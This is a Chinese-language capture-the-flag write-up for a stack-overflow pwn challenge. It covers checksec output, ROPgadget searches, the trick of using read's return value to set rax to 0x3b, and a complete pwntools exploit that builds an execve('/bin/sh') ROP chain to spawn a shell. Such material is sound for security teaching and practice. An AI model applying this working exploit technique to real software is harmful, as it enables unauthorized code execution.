1
2
3
4
5
6
7
[*] '/mnt/e/work/pwn/other/vuln/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'/root/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/'

image-20231120194352987

image-20231120194404560

没有/bin/sh等相关字符串

需要构造

查找一下相关寄存器

ROPgadget --binary pwn --only "pop|ret"

1
2
3
4
5
6
7
8
9
10
11
0x00000000004012dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012e0 : pop r14 ; pop r15 ; ret
0x00000000004012e2 : pop r15 ; ret
0x00000000004012db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012df : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040111d : pop rbp ; ret
0x00000000004012e3 : pop rdi ; ret
0x00000000004012e1 : pop rsi ; pop r15 ; ret
0x00000000004012dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret

发现没有pop_rax等相关寄存器

试着换一个搜索方式 ROPgadget --binary pwn | grep 'rax' 还是没有

但是有readwrite函数 他们返回值可以保存在rax寄存器中 根据syscall传参 只需要找到rdi rsi rdx就好了

0x0000000000401192 : add byte ptr [rax], al ; push rax ; push rdx ; push rcx ; pop rdx ; pop rsi ; pop rdi ; syscall看到这一段 里面有pop rdx``pop rsi``pop rdi``syscall正好就是我们需要的 但是从0x401192开始的话会有add byte ptr [rax], al ; push rax ; push rdx ; push rcx ;四个汇编指令干扰 所以我们从0x401197 正好从pop rdx这段开始

ROPgadget --binary pwn | grep 'pop'直接这样搜也可以0x0000000000401197 : pop rdx ; pop rsi ; pop rdi ; syscall最后会有这一坨

那么如何写exp呢 我们先通过栈溢出将rdx rsi rdi三个寄存器存值分别为execve(charptr,0,0);的参数

根据函数传参 bss段写在 charptr

主要问题是怎么让rax赋值0x3b

write和read返回值详解_write函数返回值-CSDN博客

read和write在不造成栈溢出的情况下会返回给定字节数到rax寄存器 所以我们只要在read里写0x3b个字节的量 就可以了

问题来了! (我也不知道)

我往read里写0x3b字节的量rax返回到的是0x3c 会比正常的字节量多1个

image-20231120200310175

所以我只能发0x3a个字节 rax才会赋值到0x3b

解决了!

sendline会多发一个\n 所以会造成多一个字节

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
context(
terminal=["wt.exe","wsl"],
os = "linux",
arch = "amd64",
#arch = "i386",
log_level="debug",
)
elf = ELF("./pwn")
libc = ELF('./libc-2.31.so')
io = process("./pwn")
#io = remote("node4.anna.nssctf.cn",28444)
def debug():
gdb.attach(io)
pause()
debug()
offet = 40
bss = 0x404080#str1地址段
pop_rdx_rsi_rdi_syscall = 0x401197
shellcode = b'/bin/sh\x00'
payload = cyclic(offet)
payload += p64(pop_rdx_rsi_rdi_syscall)+p64(0)+p64(0)+p64(bss)#execve
payload2 = shellcode.ljust(0x3a,b'\x00')#填充到0x3a
io.sendlineafter('interesting?\n>',payload)
io.sendlineafter('Anything else?\n>',payload2)
io.interactive()